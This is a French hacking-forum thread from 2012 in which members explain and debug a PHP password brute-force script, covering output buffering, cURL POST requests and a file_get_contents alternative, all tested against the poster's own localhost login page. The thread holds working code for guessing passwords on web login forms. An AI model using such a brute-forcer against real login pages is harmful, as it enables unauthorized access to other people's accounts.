• STATISTIQUES
  • Il y a eu un total de 0 membres et 16794 visiteurs sur le site dans les dernières 24h pour un total de 16 794 personnes!
    Membres: 2 435
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Comment ca marche
     Gratuit et accessible à tous, ce site de communauté permet de se dépanner, se faire aider ...
    Webmaster
    [FR] Secuser
    Actualité de la sécurité informatique, fiches virus et hoax, alertes par email, antivirus gratui...
    Hacking
    [FR] Newbie Contest
    Crackme: 35, Cryptographie: 49, Hacking: 27, Javascript/Java: 17, Logique: 31, Programmation: 23, Stéganographie: 53
    Challenges
    [FR] apprendre-a-manipuler
    Site d'apprentissage de la manipulation d'autrui.
    Hacking
    [EN] Bright Shadows
    JavaScript: 13, Exploit: 27, Crypto: 69, CrackIt: 52, Stegano: 67, Flash: 3, Programming: 16, Java-Applet: 10, Logic: 20...
    Challenges
    [EN] PHPFreaks
    PHPFreaks est un site dédié à l'apprentissage et l'enseignement du PHP. Ici vous trouver...
    Programmation
    [FR] Hackfest
    Le Hackfest est un évènement de sécurité et de piratage informatique au Québec reg...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[Php] ob_get_clean
01-08-2012, 02h00 (Modification du message : 19-11-2012, 18h44 par InstinctHack.)
Message : #1
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
[Php] ob_get_clean
Bonsoir à tous,

Voilà j'ai suivis plusieurs fois ce tutoriel et aujourd'hui j'ai besoin de faire un brute forcer php donc j'ai essayé de comprendre le code de cybersee mais je bute.
Le code :
Code :
$url = 'http://[...]/login.php';

foreach ($password as $value){
ob_start();
$ch = curl_init($url);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, "password=$value");
curl_exec ($ch);
curl_close ($ch);
$p = ob_get_clean();
if (!strstr($p, "w00t") ) {echo "Le mot de passe est: $value<hr>$p<hr>"; }
}

J'ai comprend tout le code avec le ini_set que je n'ai pas mis et la liste de mot et le explode. Mais je ne comprend pas l'utilité de ob_start() et ob_get_clean() j'ai cherché les definitions sur le site du zéro, php.net, etc.. mais je n'ai rien trouvé à part les mêmes définitions ou exemple à chaque fois.
Et je n'ai pas compris pourquoi le ob_get_clean est dans le fonction strstr et qu'est ce que le w00t ?

La fonction strstr à ce que j'ai compris recupère la suite des caractères après w00t.
ex : $a = n-pn.fr, strstr($a, '.') il va me sortir .info.

Bon si quelqu'un peut m'expliquer avec ses mots ce serait vraiment sympa !!
Bonne soirée à tous, Romain95 !
+1 (0) -1 (0) Répondre
01-08-2012, 02h16 (Modification du message : 01-08-2012, 02h19 par Luxerails.)
Message : #2
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: Ob_get_clean question.
curl_exec() affiche directement la page dans ta page php, elle n'est pas stockée dans une variable.
ob_start() va enregistrer tout ce qui est affiché dans la page dans la mémoire (echo par exemple, ou resultat du curl_exec() ci-dessus), et $p = ob_get_clean() va récuperer le contenu enregistré dans la mémoire tout au long du script depuis le ob_start() et le placer dans la variable $p. C'est tout :p Donc au final $p contient ce qui est affiché sur ta page php cest a dire le résultat du curl_exec().
Exemple:
Code :
<?php
ob_start();
echo 'test';
$p = ob_get_clean();
// $p contient le string 'test'

Sinon pour strstr, c'est exactement ça.
+1 (0) -1 (0) Répondre
01-08-2012, 02h20
Message : #3
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
Ah ouais super merci !! mais pourquoi il a mis w00t j'ai pas compris.
+1 (0) -1 (0) Répondre
01-08-2012, 02h44
Message : #4
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: Ob_get_clean question.
Je suppose que quand strstr() renvoie false cest qu'il n'a pas trouvé le string en deuxième paramètre (ici "w00t"). Donc apparemment : si il ne trouve pas le mot "w00t", ça signifie qu'on est connecté. À modifier bien sur, par exemple si le bruteforce envoie un mauvais password et que tu sais que ya écrit "Bad password" sur la page, tu peux modifier en : if (!strstr($p, "Bad password") ) par exemple. M'enfin je trouve ça un peu moyen, j'aurais plus utilisé une regexp moi par exemple. Du style :

if(preg_match('/mot ou phrase qui saffiche lorsquon est connecté/', $p))
+1 (0) -1 (0) Répondre
01-08-2012, 03h29
Message : #5
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
merci pour tous gars, c'est super !
+1 (0) -1 (0) Répondre
01-08-2012, 23h24 (Modification du message : 01-08-2012, 23h29 par Di0Sasm.)
Message : #6
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
Malheuresement après une série de test cela ne marche po :'(
Ca ne m'affiche rien alors que admin est bien saisi --'

code de soldat.php :
Code :
<?
$url = 'localhost/site/soldat1.php';
$password = 'pass-admin-pass1';
$explode = explode('-', $password);

foreach ($explode as $tab) {    
    ob_start();
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELD, $tab);
    curl_exec($ch);
    curl_close($ch);
    $p = ob_get_clean();
    if (!strstr($p, 'rreur')) { echo " Le mot de pass est " . $tab; }
}

soldat1.php

Code :
<?
if (!empty($_POST['password'])){
    if ($_POST['password'] == 'admin'){
        echo 'Connected';
    }else { echo  ' Erreur';}
} else { echo 'Erreur';}
    ?>
    <form action="" method="post">
        Password <input type="password" name="password" /><br>
        <input type="submit" value="Se connecter" />
    </form><?

sinon une fois que j'y arriverai je voulais essayé avec un champ login et un champ password et dans le login mettre par default admin et password un array de mot de passe. Bon c'est un autre niveau faut déjà que j'arrive le code ci-dessus
+1 (0) -1 (0) Répondre
01-08-2012, 23h35
Message : #7
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: Ob_get_clean question.
Je dis peut-être n'importequoi, je n'utilise jamais cURL, mais je pense que
curl_setopt($ch, CURLOPT_POSTFIELD, $tab);
demande les valeurs post sous la forme
post1=val1&post2=val2..

Donc essaye de changer cette ligne par
curl_setopt($ch, CURLOPT_POSTFIELD, "password=$tab");
+1 (0) -1 (0) Répondre
01-08-2012, 23h51
Message : #8
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
Sur le moment j'ai cru que tu avais raison !! mais ça ne marche pas c'est bête.
Faudrait que Cybersee passe par là comme il a déjà fait ce script ! Wink
merci de ton aide encore!
+1 (0) -1 (0) Répondre
02-08-2012, 00h01
Message : #9
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: Ob_get_clean question.
Normalement il faut faire comme je t'ai dit pour envoyer les données POST (voir la doc sur curl). Donc le problème est ailleurs. Il ne te sort pas d'erreurs ?
Essaye de remplacer
$url = 'localhost/site/soldat1.php';
par
$url = 'http://localhost/site/soldat1.php';

Code :
<?php
$url = 'http://localhost/site/soldat1.php';
$password = 'pass-admin-pass1';
$explode = explode('-', $password);

foreach ($explode as $tab) {    
    ob_start();
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELD, "password=$tab");
    curl_exec($ch);
    curl_close($ch);
    $p = ob_get_clean();
    if (preg_match("/Connected/", $p)) { echo " Le mot de pass est " . $tab; }
}
+1 (0) -1 (0) Répondre
02-08-2012, 00h09
Message : #10
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
Sa me saoule à mort que ca ne marche pas, ta démarche est logique et bonne en plus.
Rien ne s'affiche et quand je met un ! a preg_match ça m'affiche trois phrases avec les trois password c'est vraiment bizarre...
+1 (0) -1 (0) Répondre
02-08-2012, 00h15
Message : #11
Luxerails Hors ligne
Bon membre
*



Messages : 267
Sujets : 6
Points: 67
Inscription : Aug 2011
RE: Ob_get_clean question.
En tout cas c'est vraiment la merde curl et les fonctions ob. Moi j'aurais fait comme ça :

Code :
<?php
$url = 'http://localhost/site/soldat1.php';
$password = 'pass-admin-pass1';
$explode = explode('-', $password);

foreach ($explode as $tab) {
    $data = "password=$tab";
    $context = array ('http' => array ('method' => 'POST', 'header'=> "Content-type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($data) . "\r\n", 'content' => $data));
    $context = stream_context_create($context);
    $p = file_get_contents($url, false, $context);
    if (preg_match("/Connected/", $p)) { echo " Le mot de pass est " . $tab; }
}

La si ça marche pas je peux plus rien faire. Tongue
+1 (0) -1 (0) Répondre
02-08-2012, 00h32
Message : #12
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
Ba gg faut que j'apprenne cette syntaxe de code merci à toi !
+1 (0) -1 (0) Répondre
02-08-2012, 19h27
Message : #13
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
RE: Ob_get_clean question.
Je viens de retester et le script fonctionne de mon côté. À noter que si tu ne mets pas le code ini_set le script peut être arrêté avant la fin de son exécution. Évidament le w00t dois être changé pour un mot qui affiche a l'écran quand une connexion est réussie. À l'inverse tu peux aussi le faire sous forme négative et mettre un mot qui apparaît quand il y a une erreur.
+1 (0) -1 (0) Répondre
03-08-2012, 11h28
Message : #14
romain95 Hors ligne
Banni



Messages : 32
Sujets : 5
Points: 0
Inscription : Oct 2011
RE: Ob_get_clean question.
Coucou CyberSee,

J'avais pas régler le ini_set mais il n'y avait que trois mots donc je pense que ça ne prend que quelques secondes même pas. Sinon je vais retester avec la manière de Luxerails (que je remercie) et celle de curl (la tienne).

Cordialement, Romain95 !
+1 (0) -1 (0) Répondre
03-08-2012, 13h59 (Modification du message : 03-08-2012, 14h35 par Di0Sasm.)
Message : #15
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 158
Inscription : Jan 2012
RE: Ob_get_clean question.
Si tu veux, met ton formulaire en ligne avec un dictionnaire et je ferais des tests aussi
+1 (0) -1 (0) Répondre


Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut